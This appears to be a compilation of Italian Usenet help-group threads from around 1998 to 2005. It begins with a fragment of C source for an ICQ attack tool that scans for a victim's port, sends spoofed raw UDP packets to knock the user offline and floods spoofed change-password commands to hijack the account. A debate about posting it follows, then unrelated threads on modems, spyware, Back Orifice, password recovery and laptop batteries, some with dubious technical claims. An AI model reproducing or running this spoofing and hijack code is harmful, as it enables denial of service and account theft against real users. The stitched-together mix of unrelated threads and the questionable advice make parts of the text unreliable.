        if ( count > 1 ) { fprintf(stderr,
"Hey! Moron!  You need to specify an UNAMBIGUOUS victim IP. \n" );
                exit(-1); }
        you = target_list[0];
        free( target_list );
        err = MultiResolve(argv[1],&count,&addr_list);
        if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); }
        r_in->sin_port = htons( 1984 ); /* DON'T CARE */
        r_in->sin_family = AF_INET; r_in->sin_addr = you;
        hdr_ptr = packet + IP_END + UDP_END;
        rawsock = CreateRawSocket();
        printf("** Scanning for luser's ICQ port ...\n");
        your_port = base_port;
        while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh!  Can't find a target port.  Better check that target IP again!\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; }
                break;
        }
        printf("*** Got luser's port at %d \n", your_port );
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0,
                0, icq_uin  ); retries = 3;
        while ( retries-- ) {
                printf("Trying to knock luser offline.  Attempt %d\n",
                        3 - retries );
                for ( i = 0; i < count ; i++ ) {
                        int     psize;
                        psize = IP_END + UDP_END + hdr_size;
                        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                                addr_list[i], you, 0x7F );
                        make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                        err = sendto( rawsock, packet, psize, 0,
                                &raddr, sizeof(raddr));
                        if ( err != psize ) { perror("Sending"); exit(-1); }
                }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep( 3 );     /* Give 'em some time */
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep(3);
        }
        printf("Retries is %d \n", retries );
        if ( 0 > retries ) { fprintf(stderr,
"Uh Oh!  Something ain't working.  Can't toast the luser.  Sorry, dude.\n");
                exit(-1); }
        /* more time? how long does it take to reconnect? */
        sleep(16);
        printf("** Scanning for luser's _new_ ICQ port ...\n");
        while ( 1 ) {
                err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port!  Maybe your target is smarter than you?\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"New UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; } break; }
        printf("*** Got luser's new connection at %d \n", your_port );
        printf("*** Hijaaking account now...(*LONG* version)\n");
        for ( k = 0; k < 14 ; k++ ) {
                for ( j = 0; j < 14 ; j++ ) {
                        int     psize;
                        icq_seq = k; icq_seq2 = j;
                        data_ptr = hdr_ptr + ICQ4_END;
                        WritePacket( data_ptr, &size, "S",argv[4] );
                        create_icq4_hdr(hdr_ptr, random()&0xFFFF,
                                COMMAND_CHANGEPASSWORD, size );
                        hdr_size = ICQ4_END;
                        for ( i = 0; i < count ; i++ ) {
                                psize = IP_END + UDP_END + hdr_size + size;
                                make_ip_hdr( packet, psize, IPPROTO_UDP,
                                        0x666, 0, you, addr_list[i], 0x7F );
                                make_udp_hdr( packet, psize - IP_END,
                                        your_port, 4000);
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) { perror("Sending");
                                        exit(-1); } usleep( 1000 );
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) {
                                        perror("Sending");
                                exit(-1);
                                } } } }
        printf("Disconnecting the remote luser... \n");
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin  );
        for ( i = 0; i < count ; i++ ) {
                int     psize;
                psize = IP_END + UDP_END + hdr_size;
                make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                        addr_list[i], you, 0x7F );
                make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                err = sendto( rawsock, packet, psize, 0,
                        &raddr, sizeof(raddr));
                if ( err != psize ) { perror("Sending"); exit(-1); } }
        free( addr_list );
}
Basta questo o devo sprecare altro spazio con i post che arrivano su
Bugtraq ?
o   oooooo	Gian Uberto Lauri        "So, are you working on finding
      o    o
sa...@dei.unipd.it
        that bug *now* or leaving it until
     o o				  later?" - "Yes!"


title: Attenti a ICQ !!

author: Mirkonews

text:
Jazz ha scritto nel messaggio <
357cf51c...@news.flashnet.it
>...
>>Piuttosto che allarmare la gente, non è meglio sensibilizzare informando?
>
>E io che ho fatto? il link porta alla pagina su Wired News (che e' un
>giornale piuttosto autorevole) dove vengono descritte dettagliatamente
>le nefandezze di ICQ.
>
Non ti preoccupare non mi riferivo direttamente a te, generalizzavo.
>Ma come avrai letto nell'articolo ancora non hanno risolto i
>principali problemi di sicurezza. E poi quanta gente rinnova il
>softwarte ad ogni nuova versione?? Non tutti lo fanno.
>
Dovrebbero farlo...
>>Dopotutto il "pericolo" da te esposto qui sul ng, non è poi un problema
>>grave,
>
>Ah no? E se io ti frego il tuo UIN con relativa password (cosa che a
>quanto ho letto non e' difficilissimo fare, sono stati creati perfino
>programmi apposta) e lo uso in modo, diciamo cosi', impropio?
>
Beh cambio...dopotutto consiglio di non usare ICQ per trasmettere info
importanti..per me è un gioco...quindi non mi dispero se qualcuno sfarfuglia
nei miei messaggetti inutili.
ICQ non va considerato come un sostituto della posta elettronica.
>ICQ ha l'mabizione di diventare un programm di comunicazione
>universale per internet,  ma c'e' una grossa contraddizione in questo:
>funziona solo su sistemi windows! E allora chi usa Linux, Mac etc che
>fa?
>Meglio il buon vecchio IRC!
>
C'è la versione per MAC...
Non so per Linux...ecc...
Ciao



title: Attenti a ICQ !!

text:
Gian Uberto Lauri ha scritto nel messaggio ...
>"Mirkonews" <
mirk...@tuttocitta.it
> writes:
>
>>
>> Piuttosto che allarmare la gente, non è meglio sensibilizzare informando?
>> Beh, ICQ viene spesso migliorato, corretto dalla casa israelita; invece
di
>
>Fa bene a fare come ha fatto.
>
>Basta questo o devo sprecare altro spazio con i post che arrivano su
>Bugtraq ?
>
A prescindere dal resto, mi sembra scorretto postare un messaggio di 40 Kb,
con una parte di codice, potrebbe esser considerato come un file binario,
che non va postato assolutamente su questo tipo di ng.
Comunque è giustissimo avvisare...ma mettere il panico...mi sembra
eccessivo, e sopratutto poi nel giro di pochi giorni gireranno raffiche di
messaggi di allarme in ICQ che arriveranno di continuo; non so se sai, ma
rompono incredibilmente.
Comunque come dal testo:
Mirabilis non garantisce nulla per scopi commerciali, e quindi conviene non
spedire dati importanti...ma comunque potete comunicare con il vostro
amico/a...
Comunque anche le nostre comuni telefonate possono essere tranquillamente
intercettate dai sistemi che gestiscono la telefonia tramite satelliti nel
mondo.
Nulla dovrà mai sostituire l'e-mail.



title: Attenti a ICQ !!

text:
"Mirkonews" <
mirk...@tuttocitta.it
> writes:
> Gian Uberto Lauri ha scritto nel messaggio ...
> >"Mirkonews" <
mirk...@tuttocitta.it
> writes:
> >
> >>
> >> Piuttosto che allarmare la gente, non è meglio sensibilizzare informando?
> >> Beh, ICQ viene spesso migliorato, corretto dalla casa israelita; invece
> di
> >
> >Fa bene a fare come ha fatto.
> >
> >Basta questo o devo sprecare altro spazio con i post che arrivano su
> >Bugtraq ?
> >
> A prescindere dal resto, mi sembra scorretto postare un messaggio di 40 Kb,
> con una parte di codice, potrebbe esser considerato come un file binario,
VACCATE!
Il codice   e` in ascii a 7   bit, non e`   un binario ed  e` la prova
inconfutabile che ICQ puo` essere maciullato anche da uno sript kiddy.
> Comunque è giustissimo avvisare...ma mettere il panico...mi sembra
> eccessivo, e sopratutto poi nel giro di pochi giorni gireranno raffiche di
> messaggi di allarme in ICQ che arriveranno di continuo; non so se sai, ma
> rompono incredibilmente.
La cosa giusta e` di lasciar perdere ICQ. Magari si disintasano le linee :)
> Comunque come dal testo:
> Mirabilis non garantisce nulla per scopi commerciali, e quindi conviene non
> spedire dati importanti...ma comunque potete comunicare con il vostro
> amico/a...
E mentre comunichi ti fanno il QLO al computer...
> Comunque anche le nostre comuni telefonate possono essere tranquillamente
> intercettate dai sistemi che gestiscono la telefonia tramite satelliti nel
> mondo.
Molto piu` difficile che rompere le scatole a ICQ. Comunque e` chiaro,
per la security sei L'ULTIMO cui rivolgersi.
> Nulla dovrà mai sostituire l'e-mail.
ROFL!
Cosi` parlo` Zaratustra...



title: Attenti a ICQ !!

author: Max Shiedl

text:
>ROFL!
scusate, ma io con gli acronimi non ci vado molto d'accordo....
CHE SIGNIFICA ? (mi rifiuto di pensare che fosse un semplice  GROWLL !)
Max


title: Attenti a ICQ !!

text:
Gian Uberto Lauri ha scritto nel messaggio ...
>> A prescindere dal resto, mi sembra scorretto postare un messaggio di 40
Kb,
>> con una parte di codice, potrebbe esser considerato come un file binario,
>
>VACCATE!
>
>Il codice   e` in ascii a 7   bit, non e`   un binario ed  e` la prova
>inconfutabile che ICQ puo` essere maciullato anche da uno sript kiddy.
>
Calma un attimo, non fraintediamo:
mi riferivo al tuo post massiccio di 40Kb, che viste le dimensioni poteva
esser paragonato ad un file...un file binario che non può, come da
netiquette, esser postato su questo genere di ng.
Hai capito?
Non mi riferivo al codice di ICQ, sai benissimo che non m'intendo di
programmazione e non mi pronuncerei mai.
>La cosa giusta e` di lasciar perdere ICQ. Magari si disintasano le linee :)
Io uso ICQ, e lo trovo molto utile, sopratutto quando occorre inviare
messaggi istantanei, che altrimenti via e-mail ci impiegherebbero come
minimo un paio di minuti, se non di più.
Poi per la chat, è un programma come un altro...va bene anche un irc
qualunque.
>E mentre comunichi ti fanno il QLO al computer...
>
Potrebbe esser possibile, ma è un pò come dire, "Non mi compro una macchina
perchè ho paura degli incidenti", se nella vita dobbiamo rinunciare a
qualcosa solo perchè "pericolosa"; beh facciamo prima a sfregare due pietre
per accendere il fuoco ;-)
>> Nulla dovrà mai sostituire l'e-mail.
>
>ROFL!
>
>Cosi` parlo` Zaratustra...
Secondo te?



title: Attenti a ICQ !!

text:
"Max Shiedl" <
maxs...@geocities.com
> writes:

Roll On the Floor Laughing - (mi) rotolo per terra dal ridere



title: Attenti a ICQ !!

text:
Max Shiedl ha scritto nel messaggio
<6lpulo$1ac$
3...@server-b.cs.interbusiness.it
>...
>>ROFL!
>scusate, ma io con gli acronimi non ci vado molto d'accordo....
>
>CHE SIGNIFICA ? (mi rifiuto di pensare che fosse un semplice  GROWLL !)
Veramente la sigla esatta sarebbe ROTFL  che corrisponde in inglese a Roll
On The Floor Laughing, ovvero "gettarsi sul pavimento ridendo a crepapelle".



title: Attenti a ICQ !!

author: Amico Catobleppa

text:
On Fri, 12 Jun 1998 17:47:49 +0200, "Mirkonews"
<
mirk...@tuttocitta.it
> wrote:
>Veramente la sigla esatta sarebbe ROTFL  che corrisponde in inglese a Roll
>On The Floor Laughing, ovvero "gettarsi sul pavimento ridendo a crepapelle".
>Ciao
Balle! la sigla esatta e' ROFLASTC!
(roll on the floor laughing and squeezing the cat!)
BYe, FAbz...
icq: 5800565


title: Attenti a ICQ !!

author: Francesco Biasciano

text:
Ammetto di non essere esperto in sicurezza.. pero' un'idea me la sono
fatta ...che lo sviluppo tecnologico è fatto di azioni e reazioni...
cosi' la sicurezza al 100% nessuno puo' averla... pero'...
se con icq mi collego via chat con un mio "friend" dopo poche parole
riesco a capire se è lui o se è una personcina che si spaccia per lui,
nel primo caso attivo la funzione file transfert (si puo' fare solo
on-line) altrimenti mi tengo i miei dati sul mio hd...
Da questo punto di vista mi sembra meno sicura l'e-mail, in quanto
l'attachment puo' rimanere sul server del provider diversi giorni...
Se nel momento in cui invio il file al friend, l'intruso riesce a fare
qualcosa, allora ditemelo.. d'ora in poi criptero' sempre i dati....
ma sara' sicuro pure questo?
:))))
Salutoni.

                      \|/
                      (@@)
-------------------o00-(_)-00o----------------
                    ""      ""
Francesco Biasciano
E-Mail :
biaf...@tin.it
Second E-Mail :
tad...@hotmail.com
ICQ UIN :           8288696
Per mandarmi una E-mail togliere xxx.
For send me an E-mail cut xxx.
----------------------------------------------


title: Attenti a ICQ !!

author: KaiohShin

text:
>Potrebbe esser possibile, ma è un pò come dire, "Non mi compro una macchina
>perchè ho paura degli incidenti", se nella vita dobbiamo rinunciare a
>qualcosa solo perchè "pericolosa"; beh facciamo prima a sfregare due pietre
>per accendere il fuoco ;-)
Rischiando di schiacciarsi un dito??? No,no!!!
Paolo Perini
per...@bigfoot.com
http://users.iol.it/kaiohshin/
------------------
Italian Rendition World
http://irw.home.ml.org/


title: Attenti a ICQ !!

text:
Amico Catobleppa ha scritto nel messaggio
<
35829c98...@news.nettuno.it
>...
>>Veramente la sigla esatta sarebbe ROTFL  che corrisponde in inglese a Roll
>>On The Floor Laughing, ovvero "gettarsi sul pavimento ridendo a
crepapelle".
>>Ciao
>
>Balle! la sigla esatta e' ROFLASTC!
>
>(roll on the floor laughing and squeezing the cat!)
E...no!
Quella è un'altra estesa.
Ci sono più versioni.



title: Attenti a ICQ !!

text:
"Mirkonews" <
mirk...@tuttocitta.it
> writes:
> Hai capito?
Ho capito  che non sai  distinguere  tra  un  binario ed un  sorgente,
dimensioni o non dimensioni. Incompleto non serviva a nulla.
> messaggi istantanei, che altrimenti via e-mail ci impiegherebbero come
> minimo un paio di minuti, se non di più.
Hai un servizio  scadente o  fai  un check troppo lento  della e-mail.
Anni  fa ho fatto  la prova da  me a me  forzando  il passaggio per un
mainframe affollato dell'universita` di    Chicago e ci ha  messo   30
secondi.
> >E mentre comunichi ti fanno il QLO al computer...
> >
> Potrebbe esser possibile, ma è un pò come dire, "Non mi compro una macchina
> perchè ho paura degli incidenti", se nella vita dobbiamo rinunciare a
> qualcosa solo perchè "pericolosa"; beh facciamo prima a sfregare due pietre
> per accendere il fuoco ;-)
Bravo, tu fatti arare l'HD, ma poi non venire a piangere da me. Il tuo
paragone regge come  un fuscello d'erba sotto  la zampa di un elefante
(ovver non  regge affatto  -  btw as  usual). Dimostrazione  che anche
quando ci si   compra   la macchina  si   evita  di scegliere   quelle
notoriamente pericolose:
	Ritiro momentaneo della Mercedes A dal mercato
	Ritardo della commercializzazione della Smart



title: Effetti video

author: gabestorm©

text:
Cerco un programma che mi faccia effetti video sia sui testi come ad esempio
il classico testo che si avvicina allo spettatore che su filmati video
(luci, flash, rumori di atmosfera e chi più ne ha più ne metta)!
Non è facile da spiegare però spero di essermi spiegato abbastanza bene!
Una specie di After Effect... ma più semplice!
(Conoscete anche un sito dove ci siano dei video da vedere e da prendere...
cose semplici, natura, paesaggi e cose simili)


title: Modem LT AMR

text:
Salve,
ho un modem interno LT AMR a 56Kb che però, da un pò di tempo, va al massimo
a 28.8Kb.
Come posso risolvere il problema?
Grazie


title: Modem LT AMR

author: Fosco

text:
"Zio_Mario" > ho un modem interno LT AMR a 56Kb che però, da un pò di
tempo, va al > > massimo a 28.8Kb.
Se non lo hai installato estrailo dal cd
C:\Programmi\Accessori\HyperTerminal\HYPERTRM.EXE
AT > invio
AT+MS? > invio
A me'( Conexant/Rockwell  interno) esce :
+MS:
(B103,B212,V21,V22,V22B,V23C,V32,V32B,V34,K56,V90),(0,1),(75-33600),(75-
33600),(75-56000),(75-56000)
Io nelle avanzate del modem metterei questo
ATX3+MS=V90,1,75,33600,75,40000
Confronta la tua rispoata all AT+MS? e adeguala come ho fatto io sopra
la parte piu' importante e' la +MS=V90
Nei modem interni (tranne USR) e' V90,1 negli estarni e' 12,1
( V34,1  e 11,1 rispettivamente per interno ed esterno e' il protocollo
V34)
Tutto quello che viene dopo sono le velocita' di upload ( di norma
336000)
e quelle di download normalmente
(40000 aumentabile a passi di 41333,42667,45333,46667,48000, 49333)
--
Fosco


title: Modem LT AMR

text:
"Fosco"
> "Zio_Mario" > ho un modem interno LT AMR a 56Kb che però, da un pò di
> tempo, va al > > massimo a 28.8Kb.
>
> Se non lo hai installato estrailo dal cd
> C:\Programmi\Accessori\HyperTerminal\HYPERTRM.EXE
> AT > invio
> AT+MS? > invio
Quello sopra e' sbagliato:
AT > invio
AT+MS=? > invio
--
Fosco


title: passwd root in macosx

author: Dale Harding

text:
Ciao a tutti.
Ho macosx su powermac. Abbiamo 'perso' la pass di root e admin...
Ho seguito le istruzioni di
http://daniel.tassie.nu/archives/howtos/resetting_the_root_password_on_macosx_yet_another_way_to.php
bootando come single user, ma quando do'
passwd root
non compare nulla e sono costretto fare control-c.
C'e' qualcuno puo' darmi una mano?
Grazie, Dale


title: passwd root in macosx

author: Sephiroth

text:
Diario del Capitano. Data stellare: Mon, 04 Aug 2003 11:39:50 GMT.
L'ufficiale Dale Harding ha comunicato il documento
<
20030804134407.12a946a7...@yahoo.it
>
all'equipaggio di it.comp.aiuto:

Hai provato a scrivere la password e poi premere Invio anziche'
control+c?
--
Linux Registered User #181013
[Exokernels] Although one approach to eliminating bloated, buggy,
unreliable operating systems is to make them smaller, a more radical
one is to eliminate the operating system altogether.


title: scroll mouse cordless

author: UNDERTAKER

text:
ho cambiato un mouse ottico con un cordless, sempre logitech, dopo ogni
tipo di settaggio non riesco ad avere uno scroll fluido di pagina, ma
sempre e solo a scatti, perchè?
--
questo articolo e` stato inviato via web dal servizio gratuito
http://www.newsland.it/news
 segnala gli abusi ad
ab...@newsland.it


title: cd_clint.dll

author: zia betta

text:
Ciao a tutti,
sono una niubbie del gruppo e sono felice di avervi trovato, il mio
problema riguarda la rimozione del suddetto spyware allegato al prg
Babylon. Ho tentato di rimuoverlo con Ad-Aware, poi andando nella
cartella Windows\System e infine tramite regedit, ma non c'e' stato
niente da fare, pare sia stato ancorato molto bene!;-)) Pensavo: visto
che dalla cartella windows\system ricevo il mex minatorio: impossibile
rimuovere cd_clint perche' utilizzata da windows (a propos, parlo di
Win 98SE), ho elaborato la pensata stupida di rimuoverlo da Dos
tramite l'istruzione 'erase', cosa dite, potrebbe funzionare?
Non si tratta di idiosincrasia nei confronti degli spyware (sarebbe
stupido utilizzando un S.O. come Winsozz ed essendo costretta a
metterci 'pezze' su 'pezze' :-)) e' che alcuni di questi bei "tipini"
mi bloccano l'esecuzione di certi prg all'atto dell'apertura, tipo
alcuni dizionari oppure prg su cd-rom, questo accadeva con cd_load,
per es. (non so quanti ctrl+alt+canc mi sono dovuta fare perche'
cd_load era bloccato:-( ), ma sono riuscita a eliminarlo, come pure ho
eliminato web3000 che va a modificare la dll winsock.32.
Qualcuno e' riuscito a eliminare cd_clint di Babylon, senza dover
disinstallare il prg? In caso di riuscita, Babylon funziona
ugualmente?
Grazie mille a chi vorra' rispondermi e saluti a tutti.
zia betta.


title: cd_clint.dll

author: Carlo!

text:
che č lo spyware? scusa la mia ignoranza eheheh, per caso č quella cosa che
quando ti connetti ti avvia Babylon? Fammi sapere
"zia betta" <
va...@nowhere.com
> ha scritto nel messaggio
news:3b20e66a...@news.libero.it...



title: cd_clint.dll

text:
zia betta <
va...@nowhere.com
> wrote in message
3b20e66a...@news.libero.it...
> Ciao a tutti,
> sono una niubbie del gruppo e sono felice di avervi trovato, il mio
> problema riguarda la rimozione del suddetto spyware allegato al prg
> Babylon. Ho tentato di rimuoverlo con Ad-Aware, poi andando nella
> cartella Windows\System e infine tramite regedit, ma non c'e' stato
Non erase ma del
credo anche solo dal promt
start programmi ms dos.... del nome con percorso completo del file
se ci riesci riavvia solo la shell di explorer se no' riavvia
se non si cancella lo fai da dos puro


title: Back orifice

author: feelgood

text:
Sono perfettamente al corrente della pericolosità e della bastardaggine di
questo *programma* e vorrei avere delle spiegazioni : come si corre
concretamente il rischio di far fare sul proprio pc tutto cio che si vuole
,e come evitarlo ? ciao.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
" Non bisogna essere degli eroi per
avere tra le mani i testicoli di una tigre ,ma bisogna
esserlo per continuare a stringere molto forte.."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Per rispondere leva "fai-il-serio" dall' indirizzo
Remove  "fai-ilserio" to reply
ICQ= 32595320


title: Back orifice

author: Charlie

text:
Ciao
il rischio lo si corre accettando "caramelle" dagli sconosciuti a da pseudo
amici (leggi bastardoni) che ti inviano un prog troyano che in seguito
permette loro di connettersi sul tuo pc.
Per evitare tutto questo scaricati l'utility BOCleaner o BoDetect, che cercano
e rimuovono il prog in oggetto.
Saluti
Raffaele
Feelgood ha scritto:

--
Nath the Mat
togliere REMOVE per rispondere in mail
*****************************************************
Se la FI@@ avesse i denti quanti CA@@I all'ospedale,
quante FI@@E in tribunale...
*****************************************************


title: Back orifice

author: Marco Belotti

text:
Guarda che un buon antivirus lo rintraccia facilmente (Norton Antivirus,
Mcafee VirusScan, AVP, F-Prot).
Io ho tutti questi antivirus e ognuno è in grado di trovarlo.
Ciao, Marco
--
--
--
        .---.         .-----------          => Marco Belotti <=
       /     \ __  /    ----- ------------------------------------
      / /     \(  )/    -----
mbel...@usa.net
     //////   ' \/ ` ---           -----------------------------------
    //// / // :    :---            ICQ #: 30.55.35.99
   // /   /  /`    '--              ------------------------------------
  //          //..\\                Nick name: Bartman;
===UU====UU==     ------------------------------------
             '//||\\`               Chat:
irc.tin.it
; Canale: &giovani
               ''``
feelgood ha scritto nel messaggio <7dl23c$1ue$
1...@nslave1.tin.it
>...



title: Back orifice

author: HF

text:
Charlie <
REMOVE...@heraclea.it
> wrote in message
36FE36C6...@heraclea.it...
>Ciao
>il rischio lo si corre accettando "caramelle" dagli sconosciuti a da pseudo
>amici (leggi bastardoni) che ti inviano un prog troyano che in seguito
>permette loro di connettersi sul tuo pc.
>Per evitare tutto questo scaricati l'utility BOCleaner o BoDetect, che
cercano
>e rimuovono il prog in oggetto.
Altre informazioni su come difendersi, su altri Backdoor (non esiste sulo
back orifice!!)
le puoi trovare nella faq sulla sicurezza che trovi nel mio sito
http://vene.tsx.org
Ciao
~~~~~~~~~~~~~~~~~
Togliere "CIAO" per rispondere
Remove "CIAO" to reply
~~~~~~~~~~~~~~~~~
Davide Veneziano
http://vene.tsx.org
 Tutto su Internet, software, hardware, telefonia e tanto
altro
http://come.to/server.news
 Elenco di News Server pubblici aggiornato
dveneziano(at)
pelagus.it
ICQ# 14047537
~~~~~~~~~~~~~~~~~
Devi avere il cervello per fare certe cose,
ma altre volte dimenticare di averlo altrimenti
non le faresti.                                Pantani M.


title: help

author: mery

text:
questa notte non avendo sonno sono stata al computer e ho cambiato la
passwort del mio accaunt e ora non me la ricordo!!!! Cosa posso fare
.Aiutatemi per favore .Mery


title: help

author: Vincenzo Di Russo [MVP]

text:
mery wrote:
> questa notte non avendo sonno sono stata al computer e ho cambiato la
> passwort del mio accaunt e ora non me la ricordo!!!!
[...]
"Protected Storage PassView":
http://www.nirsoft.net/utils/pspv.html
Asterisk Key:
http://www.lostpassword.com/asterisk.htm
--
Vincenzo Di Russo
Microsoft® MVP - Most Valuable Professional
Windows - Internet Explorer 2003/2004/2005
My home:
http://mvp.support.microsoft.com/
My Blog:
http://blogs.dotnethell.it/vincent/


title: help

text:
non riesco a capire cosa devo fare ,non conosco l'inglese aiutami ciao
"mery" <
siri...@tiscali.it
> ha scritto nel messaggio
news:4393fb4b$0$331$5fc...@news.tiscali.it...



title: help

text:
mery wrote:
> non riesco a capire cosa devo fare ,non conosco l'inglese aiutami ciao
[...]
Download di uno o di tutti e due i programmi (sono leggerissimi), poi esegui
col doppio clic. Non è difficile.
Qui
http://www.nirsoft.net/utils/pspv_italian.zip
 c'è la versione in
italiano di Protected Storage PassView.



title: ups e notebook

text:
ciao
ho comprato un ups da collegare al notebook!
solo dopo comprato ho visto che ha tre uscite con spinotti triangolari
classici dei PC ... ma il notebook ha un trasformatore con una presa
normale! se l'adatto, ovvero una piccola prolunga con un presa
elettrica normale da una parte e dall'altra il maschio del classico
spinotto dei PC, pensate che potrebbero esserci problemi?
grazie


title: ups e notebook

author: el nane

text:
From: "max1970" <
pa...@email.it
>
>ciao
>ho comprato un ups da collegare al notebook!
Da " C'era una volta il West" di Sergio Leone:
"Come fidarsi di uno che usa cintura e bretelle per sostenere i
pantaloni..."
...oppure la mammina premurosa che mette in cartella al figlio Estintore,
Elmetto e Cinture di salvataggio...
"Non si sà mai... guai un'inondazione..."
Hai comprato il Generatore Diesel per ricaricare l'UPS in caso di Black-Out
prolungato?
Sà, non sa mai....
 ;-)


title: ups e notebook

text:
>
> ...oppure la mammina premurosa che mette in cartella al figlio Estintore,
> Elmetto e Cinture di salvataggio...
>
> "Non si sà mai... guai un'inondazione..."
>
> Hai comprato il Generatore Diesel per ricaricare l'UPS in caso di Black-Out
> prolungato?
eheheh bella questa
cmq ..... uso il notebook per settimane acceso 24 ore su 24 ..... so
anch'io che ha una batteria, ma considerando che dovrebbe stare sotto
carica per tanti giorni e di continuo, mi è stato consigliato di
togliere la batteria e collegarlo ad un UPS che gli fa da filtro (cosa
che piu mi interessa) oltre che da tampone.................. (insomma
piu o meno quello che fa una batteria normale).
ma visto che ci siamo, penso che comprero anche un generatore diesel
:o)
ciao


title: ups e notebook

text:
From: "max1970" <
pa...@email.it
>
    cut
>carica per tanti giorni e di continuo, mi č stato consigliato di
>togliere la batteria
    cut
Di buoni consigli sono lastricate le vie dell'Inferno.....
L' Alimentazione del Portatile č gestita da uno specifico software della
Microsoft a cui si aggiungono specifici programmi realizzati dalle stesse
Case Costruttrici degli stessi per aggiungere-incrementare le prestazioni
standard.
Per esempio la mia ASUS lo chiama Power4Gear ma io preferisco usare Battery
Doubler...
Con l'alimentazione da rete la batteria viene mantenuta carica quel tanto
che basta per compensaare le perdite per autoscarica... cosa che NON
succederebbe se tu la stacchi e la metti in soffita...
L'autoscarica avviene attraverso l'umiditą atmosferica che praticamente crea
un "collegamento" tra i due poli della batteria... scaricandola... e basta.
Scarica oggi... scarica domani... fą la fine di quella del Rasaerba che a
Primavera č... da buttare.
Ciao e auguri da
el nane.


title: ups e notebook

author: tinô

text:
"el nane" <
eln...@venezia.no
> ha scritto
quindi *ogni* volta che la batteria scende sotto un certo valore,
l'alimentatore la "ricarica" sino a full ok?
quando leggo batteria sopporta oltre 500 cicli... cosa intendono?
> Scarica oggi... scarica domani... fà la fine di quella del
> Rasaerba che a Primavera è... da buttare.
io la tengo in frigorifero e ogni tre mesi la monto, la scarico
completamente e poi la ricarico.
quando mi serve e' come nuova:)
--
Incommensurabile e' il piacere, di passare per fesso,
agli occhi di un imbecille


title: ups e notebook

author: Due di Picche

text:
Pestando alacremente sulla tastiera  "el nane" <
eln...@venezia.no
>
ebbe l'ardire di profferire:
> L'autoscarica avviene attraverso l'umidità atmosferica che praticamente crea
> un "collegamento" tra i due poli della batteria... scaricandola... e basta.
Ma rotfl...
L'autoscarica è un fenomeno chimico che avviene all'interno delle
batterie, non è l'umidità!!!
--
Never trust a computer you can't throw out the window.  - S. Hunt
News 2002 [v 2.07] / StopDialer / PopDuster -
http://www.socket2000.com
Akapulce portal:
http://www.akapulce.net


title: ups e notebook

text:
"Due di Picche" <mega...@TOGLISPAMaruba.it>
> Pestando alacremente sulla tastiera  "el nane"
> <
eln...@venezia.no
>
> ebbe l'ardire di profferire:
>
>> L'autoscarica avviene attraverso l'umidità atmosferica che
>> praticamente crea
>> un "collegamento" tra i due poli della batteria...
>> scaricandola... e basta.
>
> Ma rotfl...
> L'autoscarica è un fenomeno chimico che avviene all'interno
> delle
> batterie, non è l'umidità!!!
"se tutti rispondessero *solo* alle cose che sanno per certo, il
mondo sarebbe avanti di 100.000 anni..."
prima o poi lo metto in firma:)



title: ups e notebook

text:
Reply-To: "tinô" <
le...@email.it
>
>quando leggo batteria sopporta oltre 500 cicli... cosa intendono?
Bella domanda su un argomento poco (o per niente) noto.
In seguito riporto degli estratti in Inglese ma ti anticipo (per quelli che
non conoscono l'Inglese) i punti principali.
Le Batterie principalmente usate sui Portatili sono le Li-ion.
Per vari motivi queste batterie (negli anni 90) "esplodevano" solo a tenerle
in tasca assieme a delle monetine metalliche!
Per evitare "esplosioni" (vedi articolo) ora vengono vendute solo come
Power-Pack con elettronica di controllo a bordo:
Detta elettronica "conta" le cariche e (generalmente) ne "autorizza" 300
Full Charge con  200 Half Charge, quindi le "stacca" completamente dal
circuito.
Punto.
Comunque le parti salienti sono riportate sotto:
Ciao da
el nane
------------------------------
   > cut >
Lithium is an unstable substance, and when first released, rechargeable
lithium batteries had problems. After a number of discharge/recharge cycles,
it was found that metallic lithium plating would occur on the lithium
electrode, causing a potential thermal runaway condition resulting in a
violent reaction. A vent in the battery would prevent an outright explosion;
however, extremely hot gases or flames would be released under these
conditions, causing damage to the surrounding equipment or even burns to
individuals nearby. Several incidents of batteries overheating and venting
flames resulted in a number of recalls and redesigns in the early 1990s.
Subsequent models were manufactured using built-in protection circuits that
limit the peak voltage of each cell during charge (usually to 4.3V or less),
prevent the cell voltage from dropping too low (usually below 2.5V) on
discharge, limit the maximum charge and discharge currents, and monitor the
cell temperatures. With these electronic precautions, the possibility of
thermal runaway and violent reactions has been virtually eliminated. But
also because of the careful design requirements for Li-ion batteries, raw
cells are not sold to individuals and instead are sold only in assembled
battery packs, with the protection circuitry built in.
    < cut >
Li-ion batteries do have a few disadvantages, starting with their higher
cost and the need for built-in protection circuitry in order to maintain
safe operation. Similar to NiMH batteries, Li-ion types are normally limited
to 300 total cycles (some may have higher limits), after which the internal
protection circuits will refuse to accept a charge. By about 200 cycles, the
full capacity of the battery is normally cut in half, which means that on a
full charge it will power the system for only about half the time it would
when it was new. But perhaps the biggest drawback is uncontrollable aging.
What this means is that there will be a noticeable loss in capacity after
the battery ages one year, whether the battery is actually used or not. This
continues such that over two or three years the battery will fail to hold a
charge, even if it has never been used. Because of this aging
characteristic, you should avoid purchasing used Li-ion batteries, and if
